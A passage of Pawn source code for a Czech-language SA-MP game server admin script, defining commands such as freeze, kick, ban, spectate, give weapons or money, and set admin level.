else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš odmlčet NPC hráče!");

else

{

new string[128];

format(string, sizeof(string), "Hráč %s Je od ted odmlčený Administrátorem %s ", PlayerName(id), PlayerName(playerid));

SendClientMessageToAll(COLOR_ADMIN, string);

pMute[id] = false;

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_freeze(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /freeze [ ID ]");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš zmrazit NPC hráče");

else

{

new string[128];

 

format(string, sizeof(string), "Hráč %s Je od ted zmražený Administrátorem %s !", PlayerName(id), PlayerName(playerid));

SendClientMessageToAll(COLOR_ADMIN, string);

TogglePlayerControllable(id, 0);

pFreeze[id] = true;

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_unfreeze(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /unfreeze [ ID ]");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš odmrazit NPC hráče");

else

{

new string[128];

 

format(string, sizeof(string), "Hráč %s Je od ted odmražený Administrátorem %s !", PlayerName(id), PlayerName(playerid));

SendClientMessageToAll(COLOR_ADMIN, string);

TogglePlayerControllable(id, 1);

pFreeze[id] = false;

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_goto(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /goto [ ID ]");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else

{

new Float:X, Float:Y, Float:Z, Float:A, Float:x2, Float:y2, Float:Ax;

GetPlayerPos(id, X , Y, Z);

GetPlayerFacingAngle(id, A);

 

SetPlayerInterior(playerid,GetPlayerInterior(id));

SetPlayerVirtualWorld(playerid,GetPlayerVirtualWorld(id));

 

if(!IsPlayerInAnyVehicle(playerid))

{

Ax = A+180;

if(Ax>=360) Ax=Ax-360;

x2 = X + (1 * floatsin(-Ax, degrees));

y2 = Y + (1 * floatcos(-Ax, degrees));

SetPlayerPos(playerid,x2,y2,Z+0.1);

}

else if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)

{

Ax = A+180;

if(Ax>=360) Ax=Ax-360;

x2 = X + (5 * floatsin(-Ax, degrees));

y2 = Y + (5 * floatcos(-Ax, degrees));

new vehicleid = GetPlayerVehicleID(playerid);

SetVehiclePos(vehicleid,x2,y2,Z+0.1);

SetVehicleZAngle(vehicleid,A+90);

}

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_get(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /get [ ID ]");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš k sobě teleportovat NPC hráče");

else

{

new Float:X, Float:Y, Float:Z, Float:A, Float:x2, Float:y2, Float:Ax;

 

if(GetPlayerVehicleID(playerid) == 0)

{

GetPlayerPos(playerid,X,Y,Z);

GetPlayerFacingAngle(playerid,A);

}

else

{

GetVehiclePos(GetPlayerVehicleID(playerid),X,Y,Z);

GetVehicleZAngle(GetPlayerVehicleID(playerid),A);

}

 

SetPlayerInterior(id, GetPlayerInterior(playerid));

SetPlayerVirtualWorld(id, GetPlayerVirtualWorld(playerid));

 

if(GetPlayerVehicleID(id) == 0)

{

Ax = A+180;

if(Ax>=360) Ax-=360;

x2 = X + (1 * floatsin(-Ax, degrees));

y2 = Y + (1 * floatcos(-Ax, degrees));

SetPlayerPos(id,x2,y2,Z+0.1);

}

else

{

Ax = A+180;

if(Ax>=360) Ax-=360;

x2 = X + (5 * floatsin(-Ax, degrees));

y2 = Y + (5 * floatcos(-Ax, degrees));

new vehicleid = GetPlayerVehicleID(id);

SetVehiclePos(vehicleid,x2,y2,Z+0.1);

SetVehicleZAngle(vehicleid,A+90);

}

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_kick(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /kick [ ID ] [ DÔVOD ]");

else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 32 znaků ");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš vyhodit NPC hráče");

else

{

new string[256];

 

format(string, sizeof(string), "Hráč %s (%d) byl vyhozený Administrátorem %s (%d) [ Důvod: %s ]", PlayerName(id), id, PlayerName(playerid), playerid, params[chrfind(' ',params)+1]);

SendClientMessageToAll(COLOR_ADMIN, string);

Kick(id);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_spec(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /spec [ ID ]");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(playerid == id) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemůžeš sledovat sám sebe");

else

{

if(pSpecate[playerid] == false)

{

GetPlayerPos(playerid, pSaveSpecPos[playerid][0], pSaveSpecPos[playerid][1], pSaveSpecPos[playerid][2]);

for(new w=0; w<13; w++) GetPlayerWeaponData(playerid, w, pSaveSpecWeapons[playerid][w], pSaveSpecWeaponsAmmo[playerid][w]);

}

 

pSpecate[playerid] = true;

 

SetPlayerVirtualWorld(playerid, GetPlayerVirtualWorld(id));

SetPlayerInterior(playerid, GetPlayerInterior(id));

TogglePlayerSpectating(playerid, 1);

 

if(GetPlayerVehicleID(id) == 0) PlayerSpectatePlayer(playerid, id);

else PlayerSpectateVehicle(playerid, GetPlayerVehicleID(id));

 

new string[128];

 

format(string, sizeof(string), "Začal si sledovat hráče %s, pro vypnutí použij: /specoff", PlayerName(id));

SendClientMessage(playerid, COLOR_ADMIN, string);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_specoff(playerid, params[])

{

#pragma unused params

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(pSpecate[playerid]==false) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nikoho nesleduješ");

else

{

TogglePlayerSpectating(playerid, 0);

SetCameraBehindPlayer(playerid);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

 

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_ac(playerid, params[])

{

new id = strval(params);

new color = strval(params[chrfind(' ',params)+1]);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ac [ ID ] [ BARVA ]");

else if(id<400 || id>611) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ac [ 400-611 ] [ 0-126 ]");

else if(color<0 || color>126) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ac [ 400-611 ] [ 0-126 ]");

else

{

new vehid = -1;

for(new v=0; v<MAX_ADMIN_VEHICLES; v++) if(AdminVehicle[v] <= 0)

{

vehid = v;

break;

}

 

if(vehid == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Je vytvořený maximální počet admin vozidel, použij /acd pro jejich zničení");

else

{

new Float:x, Float:y, Float:z, Float:x2, Float:y2, Float:a;

 

GetPlayerPos(playerid, x, y, z);

GetPlayerFacingAngle(playerid, a);

 

x2 = x + (2.5 * floatsin(-a, degrees));

y2 = y + (2.5 * floatcos(-a, degrees));

 

AdminVehicle[vehid] = CreateVehicle(id, x2, y2, z+0.5, a+90, color, color, 300);

}

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_acd(playerid, params[])

{

#pragma unused params

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else

{

new vehid = -1;

for(new v=0; v<MAX_ADMIN_VEHICLES; v++) if(AdminVehicle[v] > 0)

{

vehid = v;

break;

}

 

if(vehid == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Není vytvořené žádné Admin Vozidlo");

else

{

for(new v=0; v<MAX_ADMIN_VEHICLES; v++) if(AdminVehicle[v] > 0) DestroyVehicleEx(AdminVehicle[v]);

 

new string[100];

format(string, sizeof(string), "Administrátor %s zničil všechny admin vozidla !", PlayerName(playerid));

SendClientMessageToAll(COLOR_ADMIN, string);

}

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_eramp(playerid, params[])

{

new rampid = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /eramp [ ID ]");

else if(rampid<1 || rampid>7) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /eramp [ 1-7 ]");

else

{

new rampnumber = -1;

for(new r=0; r<MAX_RAMPS; r++) if(!IsValidObject(Ramp[r]))

{

rampnumber = r;

break;

}

 

if(rampnumber == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Je vytvořený maximální počet ramp, použij /erdestroy pro jejich zničení");

else

{

new Float:x, Float:y, Float:z, Float:a;

 

GetPlayerPos(playerid, x, y, z);

if(GetPlayerVehicleID(playerid) == 0) GetPlayerFacingAngle(playerid, a);

else GetVehicleZAngle(GetPlayerVehicleID(playerid), a);

 

x += (8.0 * floatsin(-a, degrees));

y += (8.0 * floatcos(-a, degrees));

 

new ID;

switch(rampid)

{

case 1: ID = 1631;

case 2: ID = 1632;

case 3: ID = 1634;

case 4: ID = 1655;

case 5: {ID = 13641; a += 90;}

case 6: {ID = 7627; z += 3;}

default: {ID = 11011; z += 3; SetPlayerPos(playerid, x, y, z+2.0);}

}

 

Ramp[rampnumber] = CreateObject(ID, x, y, z, 0, 0, a);

}

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_erdestroy(playerid, params[])

{

#pragma unused params

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else

{

new rampnumber = -1;

for(new r=0; r<MAX_RAMPS; r++) if(IsValidObject(Ramp[r]))

{

rampnumber = r;

break;

}

 

if(rampnumber == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Není vytvořená žádná rampa");

else

{

for(new r=0; r<MAX_RAMPS; r++) if(IsValidObject(Ramp[r])) DestroyObject(Ramp[r]);

 

new string[100];

format(string, sizeof(string), "Administrátor %s zničil všechny rampy", PlayerName(playerid));

SendClientMessageToAll(COLOR_ADMIN, string);

}

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_eunlock(playerid, params[])

{

#pragma unused params

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else

{

new string[75];

format(string, sizeof(string), "Administrátor %s odemkl všechny auta", PlayerName(playerid));

for(new v=1; v<MAX_VEHICLES; v++) for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) SetVehicleParamsForPlayer(v, i, 0, 0);

SendClientMessageToAll(COLOR_ADMIN, string);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_ban(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");

else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ban [ ID ] [ DŮVOD ]");

else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 32 znaků ");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš zabanovat NPC hráče");

else

{

new string[128];

format(string, sizeof(string), "Hráč %s (%d) byl zabanovaný Administrátorem %s (%d) [ Důvod: %s ]", PlayerName(id), id, PlayerName(playerid), playerid, params[chrfind(' ',params)+1]);

SendClientMessageToAll(COLOR_ADMIN, string);

 

format(string, sizeof(string), "%s: %s", PlayerName(playerid), params[chrfind(' ',params)+1]);

 

BanEx(id, string);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_player(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");

else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /player [ ID ]");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš ovládat NPC hráče");

else

{

pSaveID[playerid] = id;

new string[64];

format(string, sizeof(string),"{ff0000}Player: {ffff70}%s (%d)", PlayerName(id), id);

ShowPlayerDialog(playerid, DIALOG_A_PLAYERMENU, DIALOG_STYLE_LIST, string, "Nastavit HP\nNastavit Armour\nKill\nOdzbrojit\nReset Money\nExplode\nDesert man\nVehicle Repair", "Ok", "Zavřít");

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_hp(playerid, params[])

{

#pragma unused params

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else

{

SendClientMessage(playerid,COLOR_ADMIN,"Uzdravil si se ");

 

SetPlayerHealth(playerid, 100.00000000);

SetPlayerArmour(playerid, 100.00000000);

 

if(GetPlayerVehicleID(playerid) > 0)

{

SetVehicleHealth(GetPlayerVehicleID(playerid), 1000.0);

RepairVehicle(GetPlayerVehicleID(playerid));

 

SendClientMessage(playerid, COLOR_ADMIN, "Opravil sis vozidlo !");

}

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_gm(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");

else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /gm [ ID ] [ MONEY ]");

else if(strval(params[chrfind(' ',params)+1])>999999999) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Maximální suma kterou můžeš poslat je 999 999 999$ !");

else if(strval(params[chrfind(' ',params)+1])<=0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si neplatnou hodnotu ");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš dát peníze NPC hráčovi");

else

{

new string[128];

 

format(string, sizeof(string), "Dal si hráčovi %s %d$ !", PlayerName(id), strval(params[chrfind(' ',params)+1]));

SendClientMessage(playerid, COLOR_ADMIN, string);

format(string, sizeof(string), "Administrátor %s ti dal %d$ !", PlayerName(playerid), strval(params[chrfind(' ',params)+1]));

SendClientMessage(id, COLOR_ADMIN, string);

GivePlayerMoney(id, strval(params[chrfind(' ',params)+1]));

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_setnick(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");

else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setnick [ ID ] [ NICK ]");

else if(strlen(params[chrfind(' ',params)+1])<3 || strlen(params[chrfind(' ',params)+1])>20) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Rozmezí nicku: 3-20 znaků");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš nastavit nick NPC hráčovi");

else

{

new string[128];

 

format(string, sizeof(string), "Nastavil si hráčovi %s nick %s !", PlayerName(id), params[chrfind(' ',params)+1]);

SendClientMessage(playerid, COLOR_ADMIN, string);

format(string, sizeof(string), "Administrátor %s ti zmenil nick na %s !", PlayerName(playerid), params[chrfind(' ',params)+1]);

SendClientMessage(id, COLOR_ADMIN, string);

 

SetPlayerName(id, params[chrfind(' ',params)+1]);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_bealone(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");

else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /bealone [ ID ]");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš používat tento příkaz na NPC hráčovi");

else

{

new string[256];

format(string, sizeof(string), "Administrátor %s (%d) poslal hráče %s (%d) do jiného světa !", PlayerName(playerid), playerid, PlayerName(id), id);

SendClientMessageToAll(COLOR_ADMIN, string);

SetPlayerVirtualWorld(id, 2147041658-playerid);

if(GetPlayerVehicleID(id) > 0) SetVehicleVirtualWorld(GetPlayerVehicleID(id), 2147000000-playerid);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_beback(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");

else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /beback [ ID ]");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš tento příkaz používat na NPC hráčovi");

else

{

new string[256];

format(string, sizeof(string), "Administrátor %s (%d) vrátil hráče %s (%d) do normálního světa !", PlayerName(playerid), playerid, PlayerName(id), id);

SendClientMessageToAll(COLOR_ADMIN, string);

SetPlayerVirtualWorld(id, 0);

if(GetPlayerVehicleID(id) > 0) SetVehicleVirtualWorld(GetPlayerVehicleID(id), 0);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_gw(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");

else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1]) || !strlen(params[chrfind(' ',params,chrfind(' ',params)+1)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použi: /gw [ ID ] [ WEAPON ID ] [ AMMO ]");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš dat zbran NPC hráčovi");

else if(strval(params[chrfind(' ',params)+1])<0 || (strval(params[chrfind(' ',params)+1])>18 && strval(params[chrfind(' ',params)+1])<22) || strval(params[chrfind(' ',params)+1])>46) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si neplatné ID zbrane ! Použi 0 - 18 alebo 22 - 46 !");

else

{

new ammo = strval(params[chrfind(' ',params,chrfind(' ',params)+1)+1]);

 

if(ammo < 1 || ammo > 9999) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použi: /gw [ ID ] [ WEAPON ID ] [ 1 - 9999 ]");

else

{

new string[128];

 

format(string, sizeof(string), "Dal si hráčovi %s zbraň %s (%d nábojů) !", PlayerName(id), WeaponName(strval(params[chrfind(' ',params)+1]), 0), ammo);

SendClientMessage(playerid, COLOR_ADMIN, string);

format(string, sizeof(string), "Administrátor %s ti dal zbraň %s (%d nábojů) !", PlayerName(playerid), WeaponName(strval(params[chrfind(' ',params)+1]), 0), ammo);

SendClientMessage(id, COLOR_ADMIN, string);

GivePlayerWeapon(id, strval(params[chrfind(' ',params)+1]), ammo);

 

if(strval(params[chrfind(' ',params)+1])==39) GivePlayerWeapon(id,40,ammo);

if(strval(params[chrfind(' ',params)+1])==40) GivePlayerWeapon(id,39,ammo);

}

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_setadmin(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nejsi Majitel Serveru");

else if(pAdminLevel[playerid]<=2) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Majitel Serveru");

else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setadmin [ ID ] [ ADMIN LEVEL ]");

else if(strval(params[chrfind(' ',params)+1])>5 || strval(params[chrfind(' ',params)+1])<0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Rozmedzie levelov je 0 - 5 !");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš dát Admin-Level NPC hráčovi");

else

{

new string[256];

format(string, sizeof(string), "Administrátor %s (%d) nastavil hráčovi %s (%d) Administrátora levelu %d !", PlayerName(playerid), playerid, PlayerName(id), id, strval(params[chrfind(' ',params)+1]));

SendClientMessageToAll(COLOR_ADMIN, string);

pAdminLevel[id] = strval(params[chrfind(' ',params)+1]);

 

new way[64];

format(way, 64, "AS/%s.cfg", PlayerName(playerid));

 

if(pAdminLevel[playerid] > 0)

{

if(!fexist(way))

{

dini_Create(way);

 

new pass[16];

format(pass, 16, "%s", randompass(8));

 

dini_Set(way, "password", lyrhash(pass));

 

new str[128];

SendClientMessage(playerid, 0xFFFFFFFF, "Server ti vygeneroval náhodné heslo které budeš používat pri každém přihlašování");

format(str, 128, "Tvoje heslo: {ff0000}%s{ffffff}, Toto heslo si dobře zapamatuj", pass);

SendClientMessage(playerid, 0xFFFFFFFF, str);

SendClientMessage(playerid, 0xFFFFFFFF, "Toto heslo si můžeš změnit příkazem{ffff70}/achangepass [ NOVÉ HESLO ]");

}

dini_IntSet(way, "adminlevel", pAdminLevel[playerid]);

}

else if(fexist(way)) fremove(way);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_settime(playerid, params[])

{

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /settime [ HOURS ] [ MINUTES ]");

else if(strval(params)<0 || strval(params)>23 || strval(params[chrfind(' ',params)+1])<0 || strval(params[chrfind(' ',params)+1])>59) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /settime [ 0-23 ] [ 0-59 ]");

else

{

new string[128];

format(string, sizeof(string), "Administrátor %s nastavil čas na %02d:%02d.", PlayerName(playerid), strval(params), strval(params[chrfind(' ',params)+1]));

SendClientMessageToAll(COLOR_ADMIN, string);

SetWorldTime(strval(params));

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_setweather(playerid, params[])

{

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setweather [ WEATHERID ]");

else if(strval(params)<0 || strval(params)>45) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setweather [ 0-45 ]");

else

{

new string[128];

format(string, sizeof(string), "Administrátor %s nastavil počasí %d.", PlayerName(playerid), strval(params));

SendClientMessageToAll(COLOR_ADMIN, string);

SetWeather(strval(params));

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

 

 

////////////////////////////////////////////////////////////////////////////////

 

 

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_elock(playerid, params[])

{

#pragma unused params

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else

{

new string[100];

